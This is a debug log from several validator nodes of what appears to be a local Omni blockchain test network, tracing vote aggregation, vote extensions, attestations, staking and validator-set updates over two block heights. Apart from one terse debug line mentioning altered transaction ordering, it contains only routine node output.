↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 3 (256)
```

```
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 4 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 4 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 5 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 6 (256)
2024-10-31 15:18:59 24-10-31 19:18:59.695 DEBU Marked local votes as proposed           votes=3 1651="[19 19]"
↪  1654=[19]
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::SetProposed()
2024-10-31 15:18:59 2024/10/31 19:18:59
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-10-31 15:18:59 2024/10/31 19:18:59
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xf9e0798970a7807cb790bd7a7a2e55ae91f1cfe835710a4e6948f8b680b13a85
2024-10-31 15:18:59 24-10-31 19:18:59.795 DEBU  ABCI call: ExtendVote                height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************ExtendVote(): LocalAddress -->
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7. Available: 6
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************ExtendVote(): final votes: 6
2024-10-31 15:18:59 24-10-31 19:18:59.796 INFO Voted for rollup blocks                 votes=5 1654-1=[22]
↪  1001651-4=[13] 1652-4=[23] 1652-1=[25] 1654-4="[20 21]"
2024-10-31 15:18:59 24-10-31 19:18:59.893 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 ***********************VerifyVoteExtension(): validator:
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1, block hash:
↪  0x92ad0961b58b67c124b7e796250e4c29b1cedb2856bd0bae38af5a6a0ac42daf, height: 53
2024-10-31 15:18:59 24-10-31 19:18:59.915 DEBU  ABCI call: VerifyVoteExtension       height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x92ad0961b58b67c124b7e796250e4c29b1cedb2856bd0bae38af5a6a0ac42daf, height: 53
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Keeper::Add()
2024-10-31 15:18:59 24-10-31 19:18:59.925 DEBU Marked local votes as committed          votes=3 1654=[19]
↪  1651="[19 19]"
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::SetCommitted()
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************Octane::msgServer::ExecutionPayload()
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xf9e0798970a7807cb790bd7a7a2e55ae91f1cfe835710a4e6948f8b680b13a85
2024-10-31 15:18:59 24-10-31 19:18:59.932 DEBU Not creating vote for empty cross chain block chain=mock_l2|F
↪  height=84
2024-10-31 15:18:59 24-10-31 19:18:59.935 DEBU minted coins from module account        module=x/bank
↪  amount=1000000000000000000stake from=evmstaking
2024-10-31 15:18:59 24-10-31 19:18:59.935 INFO EVM staking delegation detected, delegating
↪  delegator=0x08585C0c34Ef84F7638c797DE454e287a051874E validator=0x08585C0c34Ef84F7638c797DE454e287a051874E
↪  amount=1000000000000000000
2024-10-31 15:18:59 24-10-31 19:18:59.935 DEBU  Delegation shares modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-10-31 15:18:59 24-10-31 19:18:59.935 DEBU  Delegation modified
↪  acc_addr=08585C0C34EF84F7638C797DE454E287A051874E val_addr=08585C0C34EF84F7638C797DE454E287A051874E
2024-10-31 15:18:59 24-10-31 19:18:59.935 DEBU Delivered evm logs                      height=51 count=1
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************Attest::Keeper::Approve()
2024-10-31 15:18:59 24-10-31 19:18:59.936 DEBU  Approved attestation                chain=omni_evm|L
↪  attest_offset=19 height=50 hash=9b87346
2024-10-31 15:18:59 24-10-31 19:18:59.936 DEBU  Approved attestation                chain=omni_evm|F
↪  attest_offset=19 height=50 hash=9b87346
2024-10-31 15:18:59 24-10-31 19:18:59.936 DEBU  Approved attestation                chain=mock_l2|F
↪  attest_offset=19 height=81 hash=d222571
2024-10-31 15:18:59 2024/10/31 19:18:59 ******************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Voter::TrimBehind()
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Portal::Keeper::EmitMsg() height 53,
↪  destChainID 0, shardID 260
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Portal::Keeper::EmitMsg() moving on
2024-10-31 15:18:59 2024/10/31 19:18:59 ***************************Portal::Keeper::EmitMsg() 14 vs 14
2024-10-31 15:18:59 24-10-31 19:18:59.936 INFO  Storing new unattested validator set  valset_id=13 len=4
↪  updated=1 removed=0 total_power=424 height=53
2024-10-31 15:18:59 24-10-31 19:18:59.936 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.936 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=106 Block Height=53
```

```
2024-10-31 15:18:59 24-10-31 19:18:59.936 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.936 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=106 Block Height=53
2024-10-31 15:18:59 24-10-31 19:18:59.937 DEBU hash of all writes
↪  workingHash=775716892A33DF280CD2381E592959383DA98488C077BC5189CE1938E310C39A
2024-10-31 15:18:59 24-10-31 19:18:59.937 DEBU  ABCI response: FinalizeBlock          height=53 val_updates=0
2024-10-31 15:18:59 24-10-31 19:18:59.938 DEBU  ABCI call: Commit
2024-10-31 15:18:59 24-10-31 19:18:59.942 DEBU prune start                           height=53
2024-10-31 15:18:59 24-10-31 19:18:59.942 DEBU pruning skipped, height is less than or equal to 0
2024-10-31 15:18:59 24-10-31 19:18:59.942 DEBU prune end                             height=53
2024-10-31 15:18:59 24-10-31 19:18:59.942 DEBU flushing metadata                     height=53
2024-10-31 15:18:59 24-10-31 19:18:59.943 DEBU flushing metadata finished            height=53
2024-10-31 15:18:59 24-10-31 19:18:59.943 DEBU snapshot is skipped                   height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-10-31 15:18:59 2024/10/31 19:18:59 **************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 52,
↪  AttestInterval: 5
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::Vote(): allowSkip: false, height: 52
2024-10-31 15:19:00 24-10-31 19:19:00.421 DEBU  Created vote for cross chain block    chain=omni_evm|F
↪  height=52 offset=20 msgs=2 F|mock_l2=5
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 52,
↪  AttestInterval: 5
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::Vote(): allowSkip: false, height: 52
2024-10-31 15:19:00 24-10-31 19:19:00.558 DEBU  Created vote for cross chain block    chain=omni_evm|L
↪  height=52 offset=20 msgs=2 F|mock_l2=5
2024-10-31 15:19:00 24-10-31 19:19:00.918 DEBU  ABCI call: PrepareProposal           height=54 proposer=2679b0b
2024-10-31 15:19:00 2024/10/31 19:19:00 ******************************Octane::Keeper::PrepareProposal()
2024-10-31 15:19:00 2024/10/31 19:19:00 ******************************Octane::Keeper::PrepareProposal():
↪  build block, optimistic not available
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 85,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::Vote(): allowSkip: false, height: 85
2024-10-31 15:19:00 24-10-31 19:19:00.940 DEBU  Created vote for cross chain block    chain=mock_l1|F
↪  height=85 offset=24 msgs=1 L|mock_l2=6
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::runOnce(): height: 93,
↪  AttestInterval: 10
2024-10-31 15:19:00 2024/10/31 19:19:00 **************************Voter::Vote(): allowSkip: false, height: 93
2024-10-31 15:19:00 24-10-31 19:19:00.991 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=93 offset=26 msgs=1 L|omni_evm=6
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************Octane::Keeper::PrepareProposal():
↪  block builded : hash :0x4e631376888ff6ff32667b3f36302e70164ce6b70b2420655e4abbff25537bf1
2024-10-31 15:19:01 2024/10/31 19:19:01 **************************Keeper::PrepareVotes()
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(1): 4
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(2): 6
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 final} - 23
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 latest} - 25
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 20
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 21
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 latest} - 22
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1001651 final} - 13
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(2): 5
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 final} - 23
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 latest} - 25
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 21
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 latest} - 22
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ****************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1001651 final} - 13
```

```
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(2): 3
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 final} - 23
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 21
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1001651 final} - 13
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): total votes(2): 6
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 final} - 23
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1652 latest} - 25
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 20
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 final} - 21
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1654 latest} - 22
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): vote: {1001651 final} - 13
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): total final: 20
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::PrepareVotes()::flattenAggs():
↪  {1652 latest} - 25
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::PrepareVotes()::flattenAggs():
↪  {1654 final} - 20
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::PrepareVotes()::flattenAggs():
↪  {1654 final} - 21
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::PrepareVotes()::flattenAggs():
↪  {1654 latest} - 22
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::PrepareVotes()::flattenAggs():
↪  {1001651 final} - 13
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::PrepareVotes()::flattenAggs():
↪  {1652 final} - 23
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  ***************************Keeper::PrepareVotes()::votesFromLastCommit(): total aggredated: 6
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************Octane::Keeper::PrepareProposal():
↪  INFECTING TX order
2024-10-31 15:19:01 24-10-31 19:19:01.523 INFO Proposing new block                      height=54
↪  execution_block_hash=4e63137 vote_msgs=1 evm_events=0
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Voter::runOnce(): height: 14,
↪  AttestInterval: 0
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Voter::Vote(): allowSkip: false, height: 14
2024-10-31 15:19:01 24-10-31 19:19:01.537 DEBU  Created vote for cross chain block    chain=omni_consensus|F
↪  height=14 offset=14 msgs=1 B|=14
2024-10-31 15:19:01 24-10-31 19:19:01.541 DEBU  ABCI call: ProcessProposal            height=54 proposer=2679b0b
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-10-31 15:19:01 2024/10/31 19:19:01
↪  *******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x4e631376888ff6ff32667b3f36302e70164ce6b70b2420655e4abbff25537bf1
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 2 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 4 (256)
```

```
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 4 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 5 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 4 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 3 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 5 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 6 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 5 (256)
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 6 (256)
2024-10-31 15:19:01 24-10-31 19:19:01.549 DEBU Marked local votes as proposed           votes=6 1001651=[13]
↪  1654="[20 21 22]" 1652="[23 25]"
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Voter::SetProposed()
2024-10-31 15:19:01 24-10-31 19:19:01.742 DEBU  ABCI call: ExtendVote                 height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************ExtendVote(): LocalAddress -->
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7. Available: 5
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************ExtendVote(): final votes: 5
2024-10-31 15:19:01 24-10-31 19:19:01.743 INFO Voted for rollup blocks                votes=5 1651-4=[20]
↪  1651-1=[20] 1652-4=[24] 1652-1=[26] 1001651-4=[14]
2024-10-31 15:19:01 24-10-31 19:19:01.840 DEBU  ABCI call: VerifyVoteExtension       height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 ***********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x0793b4c31407e7b21c9502f3c1614df69eea93e3de37fac4c29e2bff10678e13, height: 54
2024-10-31 15:19:01 24-10-31 19:19:01.841 DEBU  ABCI call: VerifyVoteExtension       height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 ***********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x0793b4c31407e7b21c9502f3c1614df69eea93e3de37fac4c29e2bff10678e13, height: 54
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************Octane::msgServer::ExecutionPayload()
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x4e631376888ff6ff32667b3f36302e70164ce6b70b2420655e4abbff25537bf1
2024-10-31 15:19:01 24-10-31 19:19:01.856 DEBU Delivered evm logs                     height=52 count=0
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Keeper::Add()
2024-10-31 15:19:01 24-10-31 19:19:01.860 DEBU Marked local votes as committed          votes=6 1001651=[13]
↪  1654="[20 21 22]" 1652="[23 25]"
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Voter::SetCommitted()
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************Attest::Keeper::Approve()
2024-10-31 15:19:01 24-10-31 19:19:01.868 DEBU  Approved attestation                 chain=mock_l1|L
↪  attest_offset=25 height=90 hash=e0544d7
2024-10-31 15:19:01 24-10-31 19:19:01.869 DEBU  Approved attestation                 chain=mock_l1|F
↪  attest_offset=23 height=83 hash=b8ead21
2024-10-31 15:19:01 24-10-31 19:19:01.869 DEBU  Approved attestation                 chain=mock_l2|L
↪  attest_offset=22 height=90 hash=1a7b8e8
2024-10-31 15:19:01 24-10-31 19:19:01.869 DEBU  Approved attestation                 chain=mock_l2|F
↪  attest_offset=20 height=82 hash=c4d226e
2024-10-31 15:19:01 24-10-31 19:19:01.869 DEBU  Approved attestation                 chain=mock_l2|F
↪  attest_offset=21 height=83 hash=90fba21
2024-10-31 15:19:01 24-10-31 19:19:01.869 DEBU  Approved attestation                 chain=omni_consensus|F
↪  attest_offset=13 height=13 hash=0000000
2024-10-31 15:19:01 2024/10/31 19:19:01 ******************************Attest::Keeper::Approve(): pending
↪  vote processed : 6
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Voter::TrimBehind()
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************ValSync::Keeper::Add(EndBlock)
2024-10-31 15:19:01 24-10-31 19:19:01.869 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 24-10-31 19:19:01.869 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 24-10-31 19:19:01.870 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 24-10-31 19:19:01.870 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=106 Block Height=54
2024-10-31 15:19:01 2024/10/31 19:19:01 ***************************Voter::UpdateValidatorSet()
2024-10-31 15:19:01 24-10-31 19:19:01.870 INFO  Activating attested validator set     valset_id=12
↪  created_height=52 height=54
2024-10-31 15:19:01 24-10-31 19:19:01.870 DEBU hash of all writes
↪  workingHash=A1FE7B3082F2194260FF0BC059A907CD28C63AEF9BCBF97621A0AA97CBBC67C2
2024-10-31 15:19:01 24-10-31 19:19:01.871 DEBU  ABCI response: FinalizeBlock         height=54 val_updates=3
↪  pubkey_0=03fa1c9 power_0=106 pubkey_1=03e7453 power_1=106 pubkey_2=031c570 power_2=106
```

```
2024-10-31 15:19:01 24-10-31 19:19:01.872 DEBU  ABCI call: Commit
```

```
Val2 (proposer == e3b82d3)
--------
2024-10-31 15:18:59 24-10-31 19:18:59.691 DEBU  ABCI call: ProcessProposal            height=53 proposer=61a2a25
2024-10-31 15:18:59 2024/10/31 19:18:59 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 2 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 3 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 4 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 4 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 5 (256)
2024-10-31 15:18:59 2024/10/31 19:18:59 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 6 (256)
2024-10-31 15:18:59 24-10-31 19:18:59.694 DEBU Marked local votes as proposed          votes=6 1651="[19 19]"
↪  1654="[19 20 22]" 1652=[25]
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************Voter::SetProposed()
2024-10-31 15:18:59 2024/10/31 19:18:59
↪  ******************************Octane::proposalServer::ExecutionPayload()
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************Voter::runOnce(): height: 84,
↪  AttestInterval: 10
2024-10-31 15:18:59 2024/10/31 19:18:59
↪  ******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xf9e0798970a7807cb790bd7a7a2e55ae91f1cfe835710a4e6948f8b680b13a85
2024-10-31 15:18:59 24-10-31 19:18:59.701 DEBU Not creating vote for empty cross chain block chain=mock_l1|F
↪  height=84
2024-10-31 15:18:59 24-10-31 19:18:59.701 DEBU Not creating vote for empty cross chain block chain=mock_l2|F
↪  height=84
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-10-31 15:18:59 2024/10/31 19:18:59 ****************************Voter::runOnce(): height: 92,
↪  AttestInterval: 10
2024-10-31 15:18:59 24-10-31 19:18:59.796 DEBU  ABCI call: ExtendVote                height=53
2024-10-31 15:18:59 2024/10/31 19:18:59 *******************************ExtendVote(): LocalAddress -->
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73. Available: 3
2024-10-31 15:18:59 2024/10/31 19:18:59 *******************************ExtendVote(): final votes: 3
2024-10-31 15:18:59 24-10-31 19:18:59.796 INFO Voted for rollup blocks                votes=3 1652-4=[23]
↪  1654-4=[21] 1001651-4=[13]
